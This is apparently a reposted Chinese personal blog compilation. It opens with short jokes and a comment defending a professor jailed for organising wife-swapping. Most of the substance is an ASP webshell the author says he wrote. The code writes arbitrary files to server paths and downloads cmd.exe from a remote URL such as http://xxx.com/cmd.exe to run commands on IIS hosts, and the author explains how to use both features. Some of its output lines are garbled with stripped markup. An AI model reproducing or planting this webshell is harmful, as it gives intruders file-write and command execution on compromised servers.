转夏洛的一篇博文

这是一个故事。

两人分手后多年,在一个城市不期而遇。
男:“你好吗”。
女:“好”。
男:“他好吗”。
女:“好”。
女的问:“你好吗”。
男的回答:“好”。
女的问:“她好吗”。
男:“她刚才告诉我她很好”。

如果你会难过,是因为你把自己替入了。

 

和女朋友打牌一把扔了

证据

啥也不说了。有图有真相,看图!

 

让历史来耻笑吧,无可奈何.

最近有一个新闻是这样的,一个大学教授被法院判处“聚众淫乱罪”,因他一再强调换妻无罪,法院给予从重处罚,3年零六个月的刑期,因为举行换妻活动而遭到这样的待遇,呵呵说什么?能说什么?现在很多人看到这条新闻还说这个教授该死呢,呵呵,让历史来做一个公正的裁决吧,历史会耻笑最后的输家!

 

白社会里面的一个测试

呵呵挺准的。

 

写了一个小马挺好玩的。




<%
 dim f:dim txt:dim file
 'on error resume next
 selfName = Request.ServerVariables("SCRIPT_NAME")
 if Request.QueryString("downUrl") <> "" then Application("downUrl") = Request.QueryString("downUrl")
 Public Function Echo(ByVal Str)
 	Response.write Str:Response.Flush
 End Function
 path = Request.Form("Path")
 if Trim(path)<>"" then
	txt = Request.Form("txt")
	Set file=fso.CreateTextFile(path,True)
	file.Write txt
	if err = 0 then
		Echo "Success!"
	else
		Echo "unSuccess!"
	end if
	err.clear
 end if
cmdpath = server.mappath("cmd.exe")
if not fso.FileExists(cmdpath) then
	if request("start") = "down" then
		if Application("downUrl") <> "" then
			Set xPost = CreateObject("Microsoft.XMLHTTP")
			xPost.Open "GET",Application("downUrl"),False
			xPost.Send()
			Set sGet = CreateObject("ADODB.Stream")
			sGet.Mode = 3
			sGet.Type = 1
			sGet.Open()
			sGet.Write(xPost.responseBody)
			sGet.SaveToFile cmdpath,2
			set sGet = nothing
			set sPOST = nothing
			Echo "Download Success!"
		else
			Echo "Sorry,CmdUrl is Null in Application! Can not Use Wscript.Shell"
		end if
	end if
end if

 Set file=Nothing
 Echo "
" Echo "Path:" Echo " " Echo "Now This File Path:"&server.mappath(selfName)&"" Echo "" Echo "
" Echo " " Echo "


" Echo selfName&"?downUrl=http://xxx.com/cmd.exe
" if not fso.FileExists(cmdpath) then if Application("downUrl") = "" then Echo "DownUrl:
" Response.end End if end if Echo "
" Echo " " Echo "
" Echo "
" Echo "Code By:kY1e yU" %>

一个Asp的小马,仅仅只放了两个大功能,上传文件和执行命令

上传文件的使用方法我就不废话了

执行命令在这个小马运行的时候会提示application的Downurl里面是空的

为什么会这样,因为win主机现在的cmd.exe,普通的IIS站点是无法调用的

只能通过自己上传Cmd.exe来执行命令,我本来的想法是给系统里某个变量值

然后让他持续保存,其实本来没必要让他持续保存在Application里的,

直接给变量值让他下载就完了,在写的时候考虑的太多了,总想着程序在执行完这个操作以后

先不下载,就算用户进行其他操作,这个下载地址都在Application里保存着

这样随时点击下载按钮就是了..应验了一句话叫做脱裤子放屁..多此一举..